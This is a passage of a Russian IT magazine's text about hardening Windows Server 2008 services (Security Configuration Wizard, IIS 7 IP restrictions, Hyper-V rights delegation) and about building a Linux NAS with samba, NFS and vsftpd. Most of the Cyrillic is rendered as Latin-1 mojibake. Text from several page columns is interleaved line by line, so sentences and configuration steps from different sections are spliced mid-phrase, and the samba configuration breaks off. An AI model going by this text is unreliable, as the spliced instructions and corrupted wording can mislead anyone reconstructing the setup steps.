ïîäñåòåé.  ÷àñòíîñòè, ïðîâåðÿåì, ÷òîáû áûëè (ïðèìå÷àíèå: ýòè óñòàíîâêè íåëüçÿ îòêàòèòü êàòåãîðèé îñîáîå âíèìàíèå õîòåëîñü áû
îäîáðåíû ïîðòû, ïðèíàäëåæàùèå Exchange (â ïðè ïîìîùè SCW). Äàëåå â çàâèñèìîñòè îò îáðàòèòü íà IIS 6.0 Management Compatibility
êîíòåêñòå ñòàòüè è ñëóæáû IIS). Äàëåå ïðîâåðÿ- èìåþùèõñÿ ðîëåé ìîãóò íàñòðàèâàòüñÿ ñïåöè- (Ñîâìåñòèìîñòü ìåòàáàçû IIS 6), îòâå÷àþùóþ
åì è ïîäòâåðæäàåì âíåñåííûå èçìåíåíèÿ. ôè÷åñêèå óñòàíîâêè. Íàïðèìåð, ïðè íàëè÷èè çà ñîâìåñòèìîñòü ïî API ñ ïðåäûäóùåé âåð-
Ñëåäóþùèé ðàçäåë — «Ïàðàìåòðû ðååñòðà», IIS ìàñòåð ïîçâîëèò ïðîèçâåñòè íàñòðîéêó äè- ñèåé âåá-ñåðâåðà. Íàïðèìåð, ïðè óñòàíîâêå
â íåì ïðîèçâîäÿòñÿ íàñòðîéêè ïðîòîêîëîâ, íàìè÷åñêîãî ñîäåðæèìîãî è âûáðàòü ñîõðàíÿ- Exchange Server 2007 àêòèâàöèÿ ýòîãî ïóíêòà
èñïîëüçóåìûõ äëÿ ñâÿçè ñ äðóãèìè ñèñòåìàìè. åìûå âèðòóàëüíûå êàòàëîãè (îíè îòêëþ÷åíû îáÿçàòåëüíà. Äîïîëíèòåëüíûé ìîäóëü FastCGI
Ïåðâûé øàã — íàñòðîéêà òðåáîâàíèÿ ïîäïèñè ïî óìîë÷àíèþ, ïîñêîëüêó ïðåäñòàâëÿþò ñîáîé îáåñïå÷èâàåò áûñòðóþ îáðàáîòêó Perl, PHP,
SMB. Çäåñü äâà ôëàæêà, ïîçâîëÿþùèõ óêàçàòü, ïîòåíöèàëüíóþ óãðîçó). Ýòî âñå. Ñîõðàíÿåì Ruby è äðóãèõ web-òåõíîëîãèé, ïîçâîëÿÿ îá-
÷òîáû âñå ïîäêëþ÷àþùèåñÿ ñèñòåìû îòâå÷àëè ïîëèòèêó áåçîïàñíîñòè, óêàçàâ èìÿ ôàéëà è ñëóæèâàòü áîëüøåå ÷èñëî ïîëüçîâàòåëåé.
ìèíèìàëüíûì òðåáîâàíèÿì ê ÎÑ. Âòîðîé îïèñàíèå. Íàæàâ «Ïðîñìîòð ïîëèòèêè áåçî-  IIS èìååòñÿ âíóøèòåëüíîå êîëè÷åñòâî íà-
ôëàæîê àêòèâèðóåò ôóíêöèþ ïîäïèñè òðàôè- ïàñíîñòè», ìîæíî ïðîñìîòðåòü âñå íàñòðîéêè. ñòðîåê, ïðè ïîìîùè êîòîðûõ ìîæíî íàñòðîèòü
êà ôàéëîâ è ïå÷àòè (îïöèÿ òðåáóåò äîïîëíè- Çäåñü æå ïðè íåîáõîäèìîñòè ïîäêëþ÷àþòñÿ ðàçëè÷íîãî ðîäà îãðàíè÷åíèÿ è òåì ñàìûì
òåëüíîé ìîùíîñòè CPU). Ïàðàìåòð ðååñòðà, ãîòîâûå øàáëîíû áåçîïàñíîñòè, êîòîðûå ðàñ- ïîâûñèòü áåçîïàñíîñòü. Ðàçáåðåì íåêîòîðûå
êîòîðûé áóäåò ïðè ýòîì èçìåíåí, óêàçàí âíèçó øèðÿò ïðîèçâåäåííûå óñòàíîâêè. Íàæèìàåì èç íèõ.
ñòðàíèöû. Âòîðîé øàã — íàñòðîéêà öèôðîâîé Äàëåå è âûáèðàåì ïðèìåíèòü ýòó ïîëèòèêó Îñíîâíûå äåéñòâèÿ áóäåì ïðîèçâîäèòü â
ïîäïèñè LDAP, çäåñü îäèí ïóíêò, ïîçâîëÿþùèé ñðàçó èëè îòëîæèòü. Ñîõðàíåííóþ ïîëèòèêó Äèñïåò÷åðå ñëóæá IIS, ññûëêà äëÿ çàïóñêà êî-
óêàçàòü ìèíèìàëüíûå òðåáîâàíèÿ ê ÎÑ (îò çàòåì ìîæíî âíåäðèòü ïðè ïîìîùè SCW. òîðîãî íàõîäèòñÿ â ìåíþ Àäìèíèñòðèðîâàíèå
Win2kSP3 è âûøå). Òðåòèé øàã — ìåòîäû ïðî- (êîíñîëüíàÿ êîìàíäà Inetmgr).
âåðêè ïîäëèííîñòè LAN Manager äëÿ èñõîäÿ- ЗАЩИЩАЕМ IIS Âåá-ñåðâåð IIS (Internet Ïî óìîë÷àíèþ ê óçëó áóäóò èìåòü äîñòóï ñèñòå-
ùèõ ñîåäèíåíèé. Ïî óìîë÷àíèþ èñïîëüçóþòñÿ Information Services) ïîëüçóåòñÿ ïîïóëÿðíîñ- ìû ñî âñåõ IP-àäðåñîâ, êîìïüþòåðîâ è äîìåíîâ,
òîëüêî ó÷åòíûå çàïèñè â äîìåíå, ÷òî îáåñïå÷è- òüþ â ïåðâóþ î÷åðåäü áëàãîäàðÿ òîìó, ÷òî ïðè íåîáõîäèìîñòè ëåãêî ìîæíî îãðàíè÷èòü
âàåò íàèáîëüøóþ çàùèùåííîñòü. Îñòàëüíûå âõîäèò â êîìïëåêò ÎÑ, — åãî î÷åíü ïðîñòî ýòîò ñïèñîê, óñòàíîâèâ ðàçðåøåíèÿ è çàïðåòû.
(ëîêàëüíûå ó÷åòíûå çàïèñè è ïàðîëè îáùåãî óñòàíîâèòü è ëåãêî èíòåãðèðîâàòü â ñðåäó Îòêðûâàåì ïóíêò «Ïðîñìîòð âîçìîæíîñòåé»,
äîñòóïà Win95-Me) ëó÷øå íå èñïîëüçîâàòü (ñì. Windows. Íàäî ïðèçíàòü, ìíîãèå àäìèíèñò- âûáèðàåì «Îãðàíè÷åíèÿ IPv4-àäðåñîâ è èìåí
ñòàòüþ «Ìàêñèìàëüíàÿ çàùèòà AD» â èþëü- ðàòîðû åãî îòêðîâåííî íåäîëþáëèâàþò, è âñå äîìåíà» è â ïàíåëè «Äåéñòâèÿ» ùåëêàåì —
ñêîì z çà 2009 ãîä). Ïóíêòû íà ÷åòâåðòîì èç-çà òîãî, ÷òî â ïðåäûäóùèõ âåðñèÿõ áûëî âû- äîáàâèòü ðàçðåøàþùèé èëè çàïðåùàþùèé
øàãå áóäóò çàâèñåòü îò óñòàíîâîê íà ïðåäûäó- ÿâëåíî äîñòàòî÷íî ìíîãî îøèáîê (â òîì ÷èñëå, ýëåìåíò. ×òîáû èç êîíñîëè çàïðåòèòü äîñòóï,
ùåì ýòàïå.  íàøåì ñëó÷àå áóäåò ïðåäëîæåíî ñâÿçàííûõ ñ áåçîïàñíîñòüþ), äà è ïðîèçâîäè- íàïðèìåð ñ àäðåñà 10.0.0.1, ïèøåì:
âûáðàòü ìåòîä èñõîäÿùåé ïðîâåðêè ïîäëèí- òåëüíîñòüþ îí íå áëèñòàë. Â Win2k8 ðàçðàáîò-
íîñòè äëÿ êîìïüþòåðîâ äîìåíà. Ìàñòåð ïðåä- ÷èêè ïðåäñòàâèëè IIS 7.0 (IIS 7.5 â Win2k8R2), > appcmd set config /
ëîæèò ðàçðåøèòü àóòåíòèôèêàöèþ äëÿ ñèñòåì â êîòîðîì ó÷òåíû îøèáêè ïðîøëîãî, à ñàì äè- section:ipsecurity /+"[ipaddress='1
Win2kSP6 è âûøå, à òàêæå ñèíõðîíèçèðîâàòü çàéí ñóùåñòâåííî ïåðåðàáîòàí.  ÷àñòíîñòè, 0.0.0.1',allowed='false']"
âðåìÿ ñ NTP-ñåðâåðîì. Ïðîâåðÿåì óñòàíîâêè è â IIS ðåàëèçîâàí òîò æå ïîäõîä, ÷òî è â ñàìîé
ïîäòâåðæäàåì âûáîð. Win2k8. Ïî óìîë÷àíèþ óñòàíàâëèâàåòñÿ ìèíè- Ñîîòâåòñòâåííî, ÷òîáû ðàçðåøèòü, ìåíÿåì
Åùå îäèí ýòàï — «Ïðîâåðêà àóäèòà», ãäå îïðå- ìàëüíûé íàáîð êîìïîíåíòîâ, à çàòåì àäìèí «false» íà «true».
äåëÿþòñÿ öåëè àóäèòà. Çäåñü ïðîñòî îòìå÷àåì äîáàâëÿåò òî, ÷òî äåéñòâèòåëüíî íåîáõîäèìî. ×òîáû óçåë ïðèíèìàë ïîäêëþ÷åíèÿ íå ñî âñåõ
îäèí èç òðåõ âàðèàíòîâ: «Íå âûïîëíÿòü àóäèò», Òàê, ïî óìîë÷àíèþ çàäåéñòâîâàíî ëèøü 9 èç 40 ñåòåâûõ èíòåðôåéñîâ, èñïîëüçóåì ïóíêò «Ïðè-
«Âûïîëíÿòü àóäèò óñïåøíûõ äåéñòâèé», «Âû- Role Services, êîòîðûå îáåñïå÷èâàþò îñíîâíûå âÿçêè óçëà» è óêàçûâàåì àäðåñà äëÿ êàæäîãî
ïîëíÿòü àóäèò óñïåøíûõ è íåóñïåøíûõ äåéñò- ôóíêöèè HTTP, ñòàòè÷åñêîå ñîäåðæèìîå è åãî ïîðòà (80 è 443).
âèé». Â ñâîäêå, êðîìå êîíòðîëÿ óñòàíîâîê, ñæàòèå, ìîíèòîðèíã è ôèëüòðàöèþ çàïðî- Ñòðàíèöà «Ïðîâåðêà ïîäëèííîñòè» ïîçâî-
INFO
info
• Статью об уста-
новке и настройке
Hyper-V читай в
статье «Гиперактив-
ная виртуальность»,
опубликованной
в февральском номе-
ре z за 2009 год.
• Для получения
справки по пара-
метрам утилиты
SCWCMD используй
команду «SCWCMD
transform».
HTTP://WWW
ìåðîïðèÿòèÿ ïî îáåñïå÷åíèþ áåçîïàñíîñòè ñèñòåìå. Íàõîäèì â ãðóïïå «Àäìèíèñòðèðîâà- Store), óêàçûâàåì íà äàííûé ôàéë. Ïåðåõîäèì
ÎÑ è ïðèëîæåíèé, ðàáîòàþùèõ â âèðòóàëü- íèå» ÿðëûê «Ëîêàëüíàÿ ïîëèòèêà áåçîïàñíîñ- â Microsoft Hyper-V services — Role Assignments
íîé ìàøèíå, ìàëî îòëè÷àþòñÿ îò òàêîâûõ â òè» (Local Security Policy) è â ðàçäåëå «Ëîêàëü- — Administrator, çàòåì â ìåíþ Action âûáèðàåì
«ðåàëüíîì» êîìïüþòåðå, íî âñå æå åñòü ñâîè íûå ïîëèòèêè» âûáèðàåì «Íàçíà÷åíèå ïðàâ «Assign Users and Groups» è «From Windows
îñîáåííîñòè. Ïîñëå óñòàíîâêè ðîëè Hyper-V ïîëüçîâàòåëÿ» (User Rights Assignment). Òåïåðü and Active Directory». Ïîñëå ýòîãî íàçíà÷àåì
âñå ÎÑ, ðàáîòàþùèå íà êîìïüþòåðå, âêëþ÷àÿ èùåì è óñòàíàâëèâàåì ïîëèòèêè «Ëîêàëüíûé ó÷åòíóþ çàïèñü, êîòîðîé íåîáõîäèìî ïåðåäàòü
îñíîâíóþ, áóäóò ðàáîòàòü êàê âèðòóàëüíûå. âõîä â ñèñòåìó», «Çàïðåòèòü ëîêàëüíûé âõîä», ïðàâà íà óïðàâëåíèå Hyper-V. Òåïåðü âûáðàí-
Âèðòóàëüíûå ìàøèíû èñïîëüçóþò îäíè è òå «Îòêàçàòü â äîñòóïå ê ýòîìó êîìïüþòåðó èç íûé ïîëüçîâàòåëü ìîæåò âûïîëíÿòü çàäà÷è
æå ðåñóðñû ðåàëüíîé ñèñòåìû, ÷òî óæå íåñåò ñåòè». ×òîáû óïðîñòèòü çàùèòó ñåðâåðà, æåëà- ïî óïðàâëåíèþ ñèñòåìîé âèðòóàëèçàöèè, íå
ïîâûøåííóþ îïàñíîñòü. Hyper-V õðàíèò âñå òåëüíî èñïîëüçîâàòü, êàê ìèíèìóì, 2 ñåòåâûõ ÿâëÿÿñü àäìèíèñòðàòîðîì ñåðâåðà. Àíàëîãè÷-
íàñòðîéêè íà æåñòêîì äèñêå, à çíà÷èò, ôàéëû àäàïòåðà: îäèí äëÿ óäàëåííîãî àäìèíèñòðèðî- íûì îáðàçîì ïðè ïîìîùè äðóãèõ ïóíêòîâ ìåíþ
ìîãóò áûòü èçìåíåíû âèðóñîì èëè äðóãîé âàíèÿ (ìàñòåð óñòàíîâêè ðîëè âûäàñò çàïðîñ î ðàçäàþòñÿ ïðàâà íà êîíêðåòíûå âèðòóàëüíûå
ïðîãðàììîé. Àòàêå ìîãóò ïîäâåðãíóòüñÿ è ñàìè âûáîðå ñåòåâîé êàðòû äëÿ óïðàâëåíèÿ), âòîðîé ìàøèíû è ò.ï. Õîòÿ â ýòîì ñëó÷àå íàñòðîéêè
ñåðâèñû, îáåñïå÷èâàþùèå ôóíêöèè âèðòóàëè- — íåïîñðåäñòâåííî âèðòóàëüíûìè ìàøèíàìè áóäóò õðàíèòüñÿ íà êîíêðåòíîé ìàøèíå, ÷òî
çàöèè. Äåéñòâèÿ ïî îáåñïå÷åíèþ áåçîïàñíîñòè äëÿ îáìåíà äàííûìè. Âîîáùå ãîâîðÿ, äëÿ ðîëè íå âñåãäà óäîáíî, AzMan ïîçâîëÿåò õðàíèòü
Hyper-V ìîæíî ðàçäåëèòü íà äâå ÷àñòè: çàùèòà Hyper-V èäåàëüíî ïîäõîäèò ðåæèì Server Core. íàñòðîéêè â Active Directory. Áîëåå ïîäðîáíóþ
îñíîâíîé ñèñòåìû, â òîì ÷èñëå è ôèçè÷åñêàÿ, è  ýòîì ñëó÷àå ñíèæàåòñÿ êîëè÷åñòâî ïîòåí- èíôîðìàöèþ ïî MMC-îñíàñòêå AzMan ñìîòðè
çàùèòà âèðòóàëüíîé ñðåäû. Íà÷íåì ñ îáíîâëå- öèàëüíûõ óÿçâèìîñòåé, óâåëè÷èâàåòñÿ âðåìÿ íà TechNet: technet.microsoft.com/en-us/library/
íèÿ ñèñòåìû è óñòàíîâêè ïàò÷åé. Ïðîñìîòðåòü íàðàáîòêè íà îòêàç. cc786774(WS.10).aspx.
ñïèñîê äîñòóïíûõ îáíîâëåíèé ìîæíî â Öåíòðå Ïî óìîë÷àíèþ Hyper-V äîïóñêàåò ê óïðàâëåíèþ Ïî óìîë÷àíèþ ôàéëû âèðòóàëüíûõ äèñêîâ
îáíîâëåíèé èëè êîìàíäîé: âèðòóàëüíûìè ìàøèíàìè òîëüêî àäìèíèñ- VHD (Virtual Hard Disk) ëåæàò â äèðåêòîðèè
òðàòîðîâ. ×òîáû íå âêëþ÷àòü â ýòó ãðóïïó %users%\Public\Documents\Hyper-V\Virtual
> wmic qfe list ïîëüçîâàòåëåé, ëó÷øå äåëåãèðîâàòü èì íåîáõî- Hard Disks. Ýòè íàñòðîéêè ìîæíî èçìåíèòü
äèìûå ïðàâà. Äëÿ ýòîé öåëè ñëåäóåò èñïîëü- èç Hyper-V Manager, íî â ýòîì ñëó÷àå ïðèäåòñÿ
Òàê íåîáõîäèìî îáÿçàòåëüíî óñòàíîâèòü çîâàòü Äèñïåò÷åð àâòîðèçàöèè (Authorization ïîáåñïîêîèòüñÿ îá óñòàíîâêå êîððåêòíûõ ïðàâ
îáíîâëåíèå KB950050, êîòîðîå óëó÷øàåò Manager), ïðè ïîìîùè êîòîðîãî ñîçäàþòñÿ äîñòóïà íà êàòàëîã è ôàéëû. ×òîáû óïðîñòèòü
áåçîïàñíîñòü è ñòàáèëüíîñòü Hyper-V, à òàêæå ðîëåâûå ðàçðåøåíèÿ. Ìîäåëü áåçîïàñíîñòè äî- ñåáå çàäà÷ó, ëó÷øå õðàíèòü âñå ôàéëû â îòäå-
ÿçûêîâûé ïàêåò Language Pack for Hyper-V ñòàòî÷íî õîðîøî ïðîäóìàíà, ñóììàðíûå ïðàâà ëüíûõ êàòàëîãàõ íà îäíîì ëîãè÷åñêîì òîìå, à
(KB951636). Êðîìå ýòîãî, ðåêîìåíäóåòñÿ îá- îïðåäåëÿþòñÿ íà îñíîâå íåñêîëüêèõ ñîñòàâëÿ- äëÿ áîëüøåé çàùèòû àêòèâèðîâàòü BitLocker
íîâëåíèå äëÿ Vista (KB952627), ïîçâîëÿþùåå þùèõ — îïåðàöèÿ (ðàçðåøåííûå äåéñòâèÿ), (Encrypting File System íå ïîääåðæèâàåòñÿ
âêëþ÷èòü ïîääåðæêó óäàëåííîãî óïðàâëåíèÿ çàäà÷è, ðîëü, îáëàñòü (îáúåêòû, êîòîðûìè Hyper-V). Ñîîòâåòñòâåííî, ïðè íàçíà÷åíèè
ñåðâåðîì Win2k8 ñ ðîëüþ Hyper-V. Âñå ýòè ìîæíî óïðàâëÿòü). Çàïóñêàåì äèñïåò÷åð, ëèìèòîâ íà CPU, RAM è HDD äëÿ êàæäîé âèð-
ôàéëû ìîæíî ëåãêî íàéòè ïîèñêîì. íàáðàâ â êîíñîëè «AzMan.msc»; ïî óìîë÷àíèþ òóàëüíîé ìàøèíû íå çàáûâàåì, ÷òî îíè èìåþò
Íà ñåðâåðå ñ ðîëüþ Hyper-V íåæåëàòåëüíî îêíî äèñïåò÷åðà ïóñòî, ÷òîáû íà÷àòü ðàáîòó, ôèçè÷åñêèé «íåðåçèíîâûé» àíàëîã. Ñêîìïðî-
íàëè÷èå äðóãèõ ñåðâèñîâ, ò.å. îí íå äîëæåí òðåáóåòñÿ âûáðàòü õðàíèëèùå. Ýòî ìîæåò ìåòèðîâàííàÿ âèðòóàëüíàÿ ìàøèíà, êîòîðîé
âûïîëíÿòü áîëåå íèêàêèõ ôóíêöèé. Èñêëþ÷å- áûòü ñëóæáà Active Directory èëè ADAM (Active äîñòóïíà âñÿ ñèñòåìíàÿ ìîùü, ìîæåò çàïðîñòî
íèå ñîñòàâëÿþò àíòèâèðóñíàÿ çàùèòà è ñèñòåìà Directory Application Mode), ñåðâåð Microsoft çàáëîêèðîâàòü ðàáîòó äðóãèõ VM.
îáíàðóæåíèÿ àòàê (IDS), óñòàíîâêà êîòîðûõ íà SQL èëè XML. Â ïîñòàâêå Windows èìååòñÿ
îäíîé ñèñòåìå ïîçâîëèò çàùèòèòü ñðàçó ãðóïïó íóæíîå õðàíèëèùå — ôàéë InitialStore.xml, ЗАКЛЮЧЕНИЕ Çàùèòà ñåðâèñîâ — íå åäèíî-
ãîñòåâûõ ÎÑ. Ïðè ýòîì âî èçáåæàíèå êîíôëèê- ðàñïîëîæåííûé â C:\Program Data\Microsoft\ âðåìåííàÿ çàäà÷à, à ðåãóëÿðíàÿ ðàáîòà. Ñþäà
òîâ íåîáõîäèìî èñêëþ÷èòü èç ñêàíèðîâàíèÿ êà- Windows\Hyper-V. Ýòîò ôàéë ïîÿâèòñÿ ïîñëå âõîäèò óñòàíîâêà ïîñëåäíèõ ïàò÷åé, àíàëèç
òàëîãè, â êîòîðûõ õðàíÿòñÿ ôàéëû âèðòóàëüíûõ ñîçäàíèÿ ðîëè Hyper-V, è ïî óìîë÷àíèþ â òðàôèêà, ëîãîâ è ñèñòåìû àóäèòà. Òîëüêî òàê
ìàøèí, à òàêæå ôàéëû vmms.exe è vmwp.exe ýòîì æå êàòàëîãå õðàíÿòñÿ íàñòðîéêè âñåõ ìîæíî áûòü óâåðåííûì â òîì, ÷òî òâîé ñåðâåð
(íàõîäÿòñÿ â %SystemRoot%\System32). Îáÿ- âèðòóàëüíûõ ìàøèí. Âûçûâàåì êîíòåêñòíîå îñòàíåòñÿ ïîä ïîëíûì êîíòðîëåì, è òåáå íå
çàòåëüíî îãðàíè÷èâàåì ñïèñîê ïîëüçîâàòåëåé, ìåíþ — è â íåì ïóíêò «Îòêðûòü õðàíèëèùå ïðèäåòñÿ íî÷üþ, ñëîìÿ ãîëîâó, áåæàòü íà ôèð-
êîòîðûå ìîãóò ðåãèñòðèðîâàòüñÿ íà äàííîé äàííûõ äëÿ àâòîðèçàöèè» (Open Authorization ìó âîññòàíàâëèâàòü åãî ðàáîòó. z
Воздвигнем
NAS на раз!
Создаем мультипротокольный NAS из старого компа
Àááðåâèàòóðà NAS ðàñøèôðîâûâàåòñÿ îíà ñòàëà ïðèãîäíîé äëÿ èñïîëüçîâà- òèâíûé äèñê, ñêîðìèòü åãî ïðèâîäó, âûêëþ-
êàê Network Attached Storage (õðàíèëè- íèÿ íà NAS-óñòðîéñòâàõ? Âî-ïåðâûõ, ÷èòü êîìï, îòêëþ÷èòü âñå æåñòêèå äèñêè,
ùå, ïîäêëþ÷àåìîå ïî Cåòè). Ïðèíàäëå- îíà äîëæíà áûòü ëèøåíà âñåãî, ÷òî íå âêëþ÷èòü êîìï è ïðèñòóïèòü ê óñòàíîâêå.
æàùåå ê ýòîìó êëàññó óñòðîéñòâî îáû÷íî ïðåä- ÿâëÿåòñÿ âàæíûì äëÿ õðàíåíèÿ äàííûõ, Èíñòàëëÿòîð ÎÑ ïðèìåò USB-ôëåøêó çà HDD
ñòàâëÿåò ñîáîé íåáîëüøîé ìàëîìîùíûé ñåðâåð ïðåäîñòàâëåíèÿ óäàëåííîãî äîñòóïà ê è áëàãîïîëó÷íî óñòàíîâèò íà íåå ñèñòåìó.
(âîçìîæíî íà ïðîöåññîðå VIA), ïîñòðîåííûé íà íèì è àäìèíèñòðèðîâàíèÿ. Ýòîãî ëåãêî Íî ñóùåñòâóåò åùå áîëåå ïðîñòîé ñïîñîá
÷èïñåòå ñ ìíîãîêàíàëüíûì IDE/SATA-êîíòðîë- äîáèòüñÿ, îòïðàâèâ âñå ïàêåòû, ñîäåð- — âñòàâèòü ôëåøêó â ãíåçäî è óêàçàòü àññî-
ëåðîì. Åãî îñíîâíàÿ çàäà÷à — õðàíèòü äàííûå æàùèå ñèñòåìó X Window, ïîëüçîâàòåëü- öèèðîâàííîå ñ íåé óñòðîéñòâî â êà÷åñòâå
è ïðåäîñòàâëÿòü ê íèì äîñòóï ïî ìíîæåñòâó ñêèå ïðîãðàììû è âûñîêîóðîâíåâûå æåñòêîãî äèñêà ýìóëÿòîðó qemu:
ïðîòîêîëîâ (CIFS, NFS, FTP/FTPS, HTTP/HTTPS áèáëèîòåêè â /dev/null. Â ðåçóëüòàòå
è ò.ä.) Ïðè÷åì âòîðàÿ çàäà÷à ðåøàåòñÿ ñ ïîìî- â ñèñòåìå äîëæíî îñòàòüñÿ ÿäðî, øåëë, $ qemu -cdrom /ïóòü/ê/linux.iso -hda
ùüþ ïðîøèòîé âî ôëåø-ïàìÿòü îïåðàöèîííîé íàáîð èíñòðóìåíòîâ êîìàíäíîé ñòðîêè è /dev/sd* -boot d
ñèñòåìû, â êà÷åñòâå êîòîðîé â ïîñëåäíåå âðåìÿ ñòàíäàðòíûå áèáëèîòåêè (glibc, ncurses
âñå ÷àùå âûñòóïàåò Linux. è ò.ä.). Âî-âòîðûõ, ñèñòåìà äîëæíà ñîäåð- Ïîñëå ýòîãî ñëåäóåò óñòàíîâèòü äèñòðèáó-
Linux ñåé÷àñ èñïîëüçóåòñÿ âåçäå, è íåò íè÷å- æàòü âñå íåîáõîäèìîå äëÿ îðãàíèçàöèè òèâ, óêàçàâ èíñòàëëÿòîðó èñïîëüçîâàòü âñþ
ãî óäèâèòåëüíîãî â òîì, ÷òî ïðîèçâîäèòåëè óäàëåííîãî äîñòóïà ê äàííûì: samba ôëåøêó äëÿ ñîçäàíèÿ åäèíîãî ðàçäåëà ÎÑ
ðàçëè÷íûõ óñòðîéñòâ ïîäãîíÿþò ïèíãâèíà (ïðîòîêîë CIFS), nfs-kernel-server (ïðî- (áåç ñâîïà è ïðî÷èõ óõèùðåíèé). Ïðè÷åì â
ïîä ñâîè íóæäû è ñòðîÿò ïîâåðõ íåãî öåëóþ òîêîë NFS), vsftpd (FTP/FTPS), lighttpd êà÷åñòâå ôàéëîâîé ñèñòåìû ëó÷øå âûáðàòü
ñèñòåìó èç ïðîïðèåòàðíûõ êîìïîíåíòîâ. Íî (HTTP/HTTPS), ssh (SFTP) è rsync (äëÿ ext2, òàê êàê æóðíàëèðóåìîñòü è flash-íà-
NAS íå òîò ñëó÷àé, îáû÷íî â íåì óñòàíîâëåí áýêàïà äàííûõ). Â-òðåòüèõ, ñèñòåìà êîïèòåëè — âåùè íåñîâìåñòèìûå (âèíîé
ñàìûé îáû÷íûé äèñòðèáóòèâ Linux ñî ñòàí- äîëæíà óìåòü çàãðóæàòüñÿ ñ USB-áðåëêà òîìó íèçêàÿ ñêîðîñòü ðàáîòû + èçíîñ
äàðòíûì íàáîðîì çàðàíåå ñêîíôèãóðèðî- èëè LiveCD (íåëüçÿ äîïóñòèòü, ÷òîáû ÎÑ íàêîïèòåëÿ).
âàííûõ ñåòåâûõ ñåðâèñîâ, à åäèíñòâåííûé îáðóøèëàñü âìåñòå ñ îòêàçîì îäíîãî èç Ïîñëå çàâåðøåíèÿ ïðîöåäóðû ñëåäóåò
çàêðûòûé êîìïîíåíò — ýòî âåá-èíòåðôåéñ æåñòêèõ äèñêîâ). çàãðóçèòüñÿ ñ flash-íàêîïèòåëÿ (õîòÿ áû
è ñèñòåìà óâåäîìëåíèé. Ïîýòîìó ñàìóþ Â èäåàëå ÎÑ äîëæíà óìåòü àóòåíòèôèöè- èñïîëüçóÿ âñå òîò æå qemu) è ïðèñòóïèòü ê
íàñòîÿùóþ NAS-ñèñòåìó ìîæíî ñîáðàòü â ðîâàòü ïîëüçîâàòåëåé, èñïîëüçóÿ Active çà÷èñòêå äèñòðèáóòèâà îò íåíóæíîãî õëàìà:
áóêâàëüíîì ñìûñëå íà êîëåíêå, âçÿâ îäèí èç Directory èëè LDAP, íî ìû îãðàíè÷èìñÿ ñòàí- X Window, îêîííûå ìåíåäæåðû è ñðåäû,
ïðîñòàèâàþùèõ êîìïîâ è óñòàíîâèâ íà íåãî äàðòíûì ôàéëîì /etc/passwd äëÿ õðàíåíèÿ ïîëüçîâàòåëüñêèé ñîôò è ò.ä. À îñâîáîäèâ-
Linux-äèñòðèáóòèâ. ó÷åòíûõ çàïèñåé. øååñÿ ìåñòî èñïîëüçîâàòü äëÿ óñòàíîâêè
samba, nfs-kernel-server, nfs-common,
АНАТОМИЯ ОС, ИСПОЛЬЗУЕМОЙ ПОДГОТОВКА FLASH-БРЕЛКА Óñòàíîâèòü portmap, vsftpd, rsync, lighttpd, openssh-
В NAS-УСТРОЙСТВЕ Êàêèì æå îáðàçîì Linux íà USB-flash î÷åíü ïðîñòî. Äëÿ ýòîãî server (íàçâàíèÿ ïðèâåäåíû äëÿ äèñòðèáóòè-
íàñòðîèòü îïåðàöèîííóþ ñèñòåìó, ÷òîáû äîñòàòî÷íî âçÿòü óñòàíîâî÷íûé äèñòðèáó- âà Ubuntu 9.04).
Ñ ïîìîùüþ ýòèõ òðåõ êîìàíä ìû ñäåëàëè òàê, ÷òîáû: $ sudo vim /etc/samba/smb.conf
1) ê /mnt/share èìåëè äîñòóï âñå áåç èñêëþ÷åíèÿ ïîëüçîâàòåëè [global]
è ìîãëè ñîçäàâàòü è óäàëÿòü â íåì ôàéëû, çà èñêëþ÷åíèåì òåõ, ; Ðàáî÷àÿ ãðóïïà
âëàäåëüöàìè êîòîðûõ îíè íå ÿâëÿþòñÿ (òå æå ïðàâà äîñòóïà, ÷òî è ó workgroup = WORKGROUP
êàòàëîãà /tmp); ; Èìÿ ñåðâåðà
2) ê êàòàëîãó /mnt/private èìåëè äîñòóï òîëüêî root è ïîëüçîâàòåëè server string = Corporate NAS-server
ãðóïïû users, ÷òî ïîçâîëèò îðãàíèçîâàòü ñèñòåìó ðàçäåëåíèÿ ïðàâ è ; Íå ðåçîëâèòü èìåíà ìàøèí ñàìîñòîÿòåëüíî
çàùèòû ïðèâàòíûõ êàòàëîãîâ ïîëüçîâàòåëåé. dns proxy = no
Òåïåðü òû ìîæåøü çàâåñòè â ñèñòåìå ïîëüçîâàòåëåé, êîòîðûå ; Äëÿ êàæäîãî êëèåíòà âåäåì ñâîé ëîã-ôàéë
äîëæíû èìåòü äîñòóï ê ñåðâåðó (íàïðèìåð, director, buhgalter, admin log file = /var/log/samba/log.%m
è ò.ä.) è ñîçäàòü ñîîòâåòñòâóþùèå êàòàëîãè âíóòðè /mnt/private. max log size = 1000
Ïðèìåð: ; Íå èñïîëüçîâàòü syslog
syslog = 0
* director — äîìàøíèé êàòàëîã /mnt/private/director, ; Àóòåíòèôèöèðîâàòü ïîëüçîâàòåëåé ñ ïîìîùüþ èìåí è ïàðî-
âëàäåëåö director:users, ïðàâà äîñòóïà 700 ëåé
РЕДАКТИРУЕМ LIGHTTPD.CONF
security = user ПРОТОКОЛ NFS IT-îòäåë ïðåäïî÷èòàåò ìîæíî çàíåñòè â ñïåöèàëüíûé ñïèñîê IP-
; Øèôðîâàòü ïàðîëè èñïîëüçîâàòü ñåòåâóþ ôàéëîâóþ ñèñòåìó àäðåñîâ è íàçíà÷èòü èì äðóãóþ êîäèðîâêó,
encrypt passwords = true äëÿ äîñòóïà ê ñâîèì äàííûì. ×òî æ, æåëàíèå íàïðèìåð utf-8.
; Áýêåíä, èñïîëüçóåìûé äëÿ õðàíåíèÿ ëåãêî óäîâëåòâîðèòü ñ ïîìîùüþ ÿäåðíîãî Èòàê, ñêà÷èâàåì vsftpd-2.1.2-ext1.tgz, ðàñïà-
ïàðîëåé NFS-ñåðâåðà: êîâûâàåì, ñîáèðàåì è óñòàíàâëèâàåì:
passdb backend = tdbsam
; Ñèíõðîíèçèðîâàòü èçìåíèâøèåñÿ smb- $ sudo apt-get install nfs-kernel- $ wget http://vsftpd.devnet.ru/
ïàðîëè ñ ïàðîëÿìè â áàçå /etc/passwd server nfs-common portmap files/2.1.2/ext.1/vsftpd-2.1.2-
unix password sync = yes ext1.tgz
passwd program = /usr/bin/passwd %u Îòêðûâàåì ôàéë /etc/exports è äîáàâëÿåì â $ tar -xzf vsftpd-2.1.2-ext1.tgz
passwd chat = *Enter\snew\s*\ íåãî ñòðîêó: $ cd vsftpd-2.1.2-ext.1
